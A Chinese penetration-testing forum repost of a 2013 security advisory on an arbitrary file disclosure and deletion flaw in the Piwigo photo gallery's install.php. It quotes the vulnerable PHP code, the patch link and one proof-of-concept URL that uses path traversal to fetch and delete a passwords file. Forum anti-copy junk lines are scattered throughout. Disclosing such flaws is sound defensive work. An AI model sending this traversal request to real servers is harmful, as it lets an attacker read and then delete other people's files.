中国网络渗透测试联盟
标题:
Piwigo任意文件泄露和任意文件删除漏洞
[打印本页]
作者:
admin
时间:
2013-3-14 20:15
标题:
Piwigo任意文件泄露和任意文件删除漏洞
Piwigo是用PHP编写的相册脚本。
: ~# `+ u* j# ?: K1 G
; s, G; k9 n6 Q; ?( F6 {
Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值,在实现上存在安全漏洞,攻击者可利用这些漏洞查看受影响计算机上的任意文件,删除受影响应用上下文内的任意文件。
c0 e. |) Q/ r2 Z
====================================================================
6 V2 ?0 U% k* U! J+ s l# X. N8 B
/install.php:
( j8 E$ L! }/ u
-------------
O* u- a+ }7 P N8 t5 n# {: j
113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
4 e- _, q0 |6 ^* S: c, S3 i6 B4 G
114: {
6 D! Z6 x. f! [
115: $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
0 f$ W: X! s9 R! A" L8 I
116: header('Cache-Control: no-cache, must-revalidate');
- p3 m9 r) g: p) c2 w% W1 N
117: header('Pragma: no-cache');
* ?+ X2 `) j% J8 `- Q
118: header('Content-Disposition: attachment; filename="database.inc.php"');
0 \+ O5 a. o' }1 ]
119: header('Content-Transfer-Encoding: binary');
* R5 S% y9 i- L8 G# x1 H
120: header('Content-Length: '.filesize($filename));
6 q. k: s3 _! z" @3 `' {' l! ?
121: echo file_get_contents($filename);
' z: L& \$ c( U* ~; L6 Q' R9 T6 g
122: unlink($filename);
* H+ }: ^' T: Y2 v
123: exit();
5 T# S1 J: ?2 ~) r
124: }
. f' Y6 t- C5 i0 S2 v* K
====================================================================
, ~% @& I' q0 Q: @" V
; k" V3 W8 ]* Z" Q# |) b
Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
; s$ q5 c- L7 d4 T; u* r
Apache 2.4.2 (Win32)
h z" T5 b- D0 N$ U& q6 D
PHP 5.4.4
" o% X- l* p* Z. s
MySQL 5.5.25a
7 T) ~, B+ ]# v$ F5 F3 v- H
3 R- z8 g# ]3 [9 \$ {
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
% `3 |) J2 q" j1 X; C2 d' L
@zeroscience
; m, ?' k# p+ x
5 L0 C0 c4 o9 U* q" V3 Q/ J
Advisory ID: ZSL-2013-5127
4 k1 i8 |3 f, M: a/ f
Advisory URL:
http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
5 m. P. T F4 E) n9 F
Vendor Patch:
http://piwigo.org/bugs/view.php?id=2843
& Q2 {4 a/ }* G+ Z/ \
! b* |! D1 T. F
15.02.2013
- ^# P# s. u% ~$ s
, d6 e, U# h; b/ I& [
--
: M6 `$ Y& D7 v: q# l0 x
http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
& e! {6 x& }5 O: ?3 N0 \% @
5 @' j; v7 z" c, Z, T' F( j& {
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2